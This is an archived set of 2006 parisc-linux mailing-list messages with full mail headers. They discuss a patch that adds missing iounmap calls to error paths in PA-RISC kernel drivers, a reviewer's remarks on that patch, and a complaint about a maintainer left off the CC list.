parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] ioremap balanced with iounmap for
	drivers/parisc
Date: Thu, 28 Sep 2006 07:14:52 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20060928131452.GA5017__43845.4632102095$1416624601$gmane$org@parisc-linux.org>
References: <1159422814.9310.17.camel@amol.verismonetworks.com>
	<20060928125815.GA3507@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624601 27675 80.91.229.3 (22 Nov 2014 02:50:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:01 +0000 (UTC)
Cc: kernel Janitors <kernel-janitors@lists.osdl.org>,
 Amol Lad <amol@verismonetworks.com>,
 parisc-linux@parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Sep 2006 13:15:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 28 Sep 2006 15:15:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E296F7D752;
	Thu, 28 Sep 2006 07:14:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02210-06; Thu, 28 Sep 2006 07:14:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34B5D7D74D;
	Thu, 28 Sep 2006 07:14:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B46EC7D739
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 07:14:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02001-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 07:14:53 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 820787D72F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 07:14:53 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 3CAFA49400E; Thu, 28 Sep 2006 07:14:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id F198749400A; Thu, 28 Sep 2006 07:14:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060928125815.GA3507@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5fMjcJ8hbmw7XK2HZzdLCQ5HUzc4chEY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25314

On Thu, Sep 28, 2006 at 08:58:15AM -0400, Kyle McMartin wrote:
> On Thu, Sep 28, 2006 at 11:23:34AM +0530, Amol Lad wrote:
> > ioremap must be balanced by an iounmap and failing to do so can result
> > in a memory leak.
> > 
> 
> Looks ok. Will merge.

Actually, it shows some areas we need to do better.  It's an
improvement, but look at, eg, the error returns from elroy.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] ioremap balanced with iounmap for
	drivers/parisc
Date: Thu, 28 Sep 2006 09:20:35 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20060928132035.GA3897@athena.road.mcmartin.ca>
References: <1159422814.9310.17.camel@amol.verismonetworks.com>
	<20060928125815.GA3507@athena.road.mcmartin.ca>
	<20060928131452.GA5017@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624601 27704 80.91.229.3 (22 Nov 2014 02:50:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Sep 2006 13:21:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 28 Sep 2006 15:21:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16F337D75A;
	Thu, 28 Sep 2006 07:21:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02540-04; Thu, 28 Sep 2006 07:21:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E9F57D75C;
	Thu, 28 Sep 2006 07:21:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFF337D758
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 07:20:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02001-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 07:20:44 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1BE637D757
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 07:20:42 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A42FB49400F; Thu, 28 Sep 2006 07:20:41 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 5AB4949400D;
	Thu, 28 Sep 2006 07:20:37 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 5D0B05840A2;
	Thu, 28 Sep 2006 09:20:37 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E100A58409B;
	Thu, 28 Sep 2006 09:20:36 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 8FAE623E02;
	Thu, 28 Sep 2006 09:20:36 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 9D6B43B06E; Thu, 28 Sep 2006 09:20:35 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060928131452.GA5017@parisc-linux.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e/sucVA9TiEtQKyUaGRw+j91ZUVSRNeo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25315

On Thu, Sep 28, 2006 at 07:14:52AM -0600, Matthew Wilcox wrote:
> Actually, it shows some areas we need to do better.  It's an
> improvement, but look at, eg, the error returns from elroy.
> 

Agreed.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Amol Lad <amol@verismonetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] ioremap balanced with iounmap for
	drivers/parisc
Date: Thu, 28 Sep 2006 11:23:34 +0530
Lines: 91
Approved: news@gmane.org
Message-ID: <1159422814.9310.17.camel__13978.3726343468$1416624601$gmane$org@amol.verismonetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624601 27715 80.91.229.3 (22 Nov 2014 02:50:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:01 +0000 (UTC)
Cc: kernel Janitors <kernel-janitors@lists.osdl.org>,
 parisc-linux@parisc-linux.org
To: kyle@parisc-linux.org,
 grundler@parisc-linux.org,
 matthew@wil.cx
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Sep 2006 07:12:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 28 Sep 2006 09:12:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 18FE27D6C2;
	Thu, 28 Sep 2006 01:12:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28683-04; Thu, 28 Sep 2006 01:12:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E31797D6A6;
	Thu, 28 Sep 2006 01:12:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9A927D670
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 01:12:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28440-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 01:12:24 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6B35F7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Sep 2006 01:12:24 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D325E49400B; Thu, 28 Sep 2006 01:12:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id 31C8449400A;
	Thu, 28 Sep 2006 01:12:20 -0600 (MDT)
Original-Received: from mail01.verismonetworks.com (mail01.verismonetworks.com
	[164.164.99.228]) by cuprel1.hp.com (Postfix) with ESMTP
	id 71608101CF; Wed, 27 Sep 2006 22:50:59 -0700 (PDT)
Original-Received: from romer.verismonetworks.com (romer.verismonetworks.com
	[192.168.1.8])
	by mail01.verismonetworks.com (Postfix) with ESMTP id 4A36234C6B;
	Thu, 28 Sep 2006 11:20:12 +0530 (IST)
Original-Received: from [192.168.1.159] (unknown [192.168.1.159])
	by romer.verismonetworks.com (Postfix) with ESMTP id 3B0FC207087;
	Thu, 28 Sep 2006 11:20:12 +0530 (IST)
X-Mailer: Evolution 2.2.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gxxudpdnODBpUrWUfGRMaw81Ji9SWtLd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25316

ioremap must be balanced by an iounmap and failing to do so can result
in a memory leak.

Tested (compilation only) to make sure the files are compiling without
any warning/error due to new changes

Signed-off-by: Amol Lad <amol@verismonetworks.com>
---
 dino.c    |    4 +++-
 eisa.c    |    1 +
 iosapic.c |    1 +
 lba_pci.c |    7 ++++++-
 4 files changed, 11 insertions(+), 2 deletions(-)
---
diff -uprN -X linux-2.6.18-orig/Documentation/dontdiff linux-2.6.18-orig/drivers/parisc/dino.c linux-2.6.18/drivers/parisc/dino.c
--- linux-2.6.18-orig/drivers/parisc/dino.c	2006-09-21 10:15:38.000000000 +0530
+++ linux-2.6.18/drivers/parisc/dino.c	2006-09-28 10:14:07.000000000 +0530
@@ -1007,8 +1007,10 @@ static int __init dino_probe(struct pari
 		dino_bridge_init(dino_dev, name);
 	}
 
-	if (dino_common_init(dev, dino_dev, name))
+	if (dino_common_init(dev, dino_dev, name)) {
+		iounmap(dino_dev->hba.base_addr);
 		return 1;
+	}
 
 	dev->dev.platform_data = dino_dev;
 
diff -uprN -X linux-2.6.18-orig/Documentation/dontdiff linux-2.6.18-orig/drivers/parisc/eisa.c linux-2.6.18/drivers/parisc/eisa.c
--- linux-2.6.18-orig/drivers/parisc/eisa.c	2006-09-21 10:15:38.000000000 +0530
+++ linux-2.6.18/drivers/parisc/eisa.c	2006-09-28 10:14:49.000000000 +0530
@@ -381,6 +381,7 @@ static int __devinit eisa_probe(struct p
 		eisa_dev.root.dma_mask = 0xffffffff; /* wild guess */
 		if (eisa_root_register (&eisa_dev.root)) {
 			printk(KERN_ERR "EISA: Failed to register EISA root\n");
+			iounmap(eisa_eeprom_addr);
 			return -1;
 		}
 	}
diff -uprN -X linux-2.6.18-orig/Documentation/dontdiff linux-2.6.18-orig/drivers/parisc/iosapic.c linux-2.6.18/drivers/parisc/iosapic.c
--- linux-2.6.18-orig/drivers/parisc/iosapic.c	2006-09-21 10:15:38.000000000 +0530
+++ linux-2.6.18/drivers/parisc/iosapic.c	2006-09-28 10:15:30.000000000 +0530
@@ -887,6 +887,7 @@ void *iosapic_register(unsigned long hpa
 	vip = isi->isi_vector = (struct vector_info *)
 		kzalloc(sizeof(struct vector_info) * isi->isi_num_vectors, GFP_KERNEL);
 	if (vip == NULL) {
+		iounmap(isi->addr);
 		kfree(isi);
 		return NULL;
 	}
diff -uprN -X linux-2.6.18-orig/Documentation/dontdiff linux-2.6.18-orig/drivers/parisc/lba_pci.c linux-2.6.18/drivers/parisc/lba_pci.c
--- linux-2.6.18-orig/drivers/parisc/lba_pci.c	2006-08-24 02:46:33.000000000 +0530
+++ linux-2.6.18/drivers/parisc/lba_pci.c	2006-09-28 10:17:56.000000000 +0530
@@ -1574,6 +1574,7 @@ lba_driver_probe(struct parisc_device *d
 		cfg_ops = &mercury_cfg_ops;
 	} else {
 		printk(KERN_ERR "Unknown LBA found at 0x%lx\n", dev->hpa.start);
+		iounmap(addr);
 		return -ENODEV;
 	}
 
@@ -1589,6 +1590,7 @@ lba_driver_probe(struct parisc_device *d
 	lba_dev = kzalloc(sizeof(struct lba_device), GFP_KERNEL);
 	if (!lba_dev) {
 		printk(KERN_ERR "lba_init_chip - couldn't alloc lba_device\n");
+		iounmap(addr);
 		return(1);
 	}
 
@@ -1606,8 +1608,11 @@ lba_driver_probe(struct parisc_device *d
 	pcibios_register_hba(HBA_DATA(lba_dev));
 	spin_lock_init(&lba_dev->lba_lock);
 
-	if (lba_hw_init(lba_dev))
+	if (lba_hw_init(lba_dev)) {
+		iounmap(lba_dev->hba.base_addr);
+		lba_dev->hba.base_addr = NULL;
 		return(1);
+	}
 
 	/* ---------- Third : setup I/O Port and MMIO resources  --------- */
 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Why wasn't rbrad cc'd on mux patch?
Date: Mon, 2 Oct 2006 05:26:11 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20061002112611.GJ16272@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624602 27719 80.91.229.3 (22 Nov 2014 02:50:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Amol Lad <amol@verismonetworks.com>,
 Andrew Morton <akpm@osdl.org>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Oct 2006 11:26:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 02 Oct 2006 13:26:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86BB87D722;
	Mon,  2 Oct 2006 05:26:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02199-06; Mon, 2 Oct 2006 05:26:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC5B77D716;
	Mon,  2 Oct 2006 05:26:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E0D77D707
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 05:26:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01459-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Oct 2006 05:26:12 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2B4D37D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 05:26:12 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C5920494009; Mon,  2 Oct 2006 05:26:11 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id A1703494005; Mon,  2 Oct 2006 05:26:11 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Vs8WdOgPYmYSfenCanc3hnBKWkZTQVQK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25317


I don't see anyone who knows anything about this driver on the CC list
for this patch which is already in Linus' tree.  That's poor form.
You need to check MODULE_AUTHOR next time.

commit af907dc8cd4157d629e48533b3400786467340d5
Author: Amol Lad <amol@verismonetworks.com>
Date:   Sat Sep 30 23:29:25 2006 -0700

    [PATCH] ioremap balanced with iounmap for drivers/serial/mux.c
    
    ioremap must be balanced by an iounmap and failing to do so can result
    in a memory leak.
    
    Signed-off-by: Amol Lad <amol@verismonetworks.com>
    Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>
    Signed-off-by: Andrew Morton <akpm@osdl.org>
    Signed-off-by: Linus Torvalds <torvalds@osdl.org>


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] check_ivt panic / binutils
Date: Mon, 2 Oct 2006 20:50:53 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20061003025052.GR16272@parisc-linux.org>
References: <200610030211.k932BbeR023905@hiauly1.hia.nrc.ca>
	<1159841839.5737.13.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624602 27720 80.91.229.3 (22 Nov 2014 02:50:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Oct 2006 02:51:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 03 Oct 2006 04:51:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BB227D726;
	Mon,  2 Oct 2006 20:50:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13906-05; Mon, 2 Oct 2006 20:50:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 071217D727;
	Mon,  2 Oct 2006 20:50:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5CE87D722
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 20:50:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13911-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 Oct 2006 20:50:53 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A5E127D71C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Oct 2006 20:50:53 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
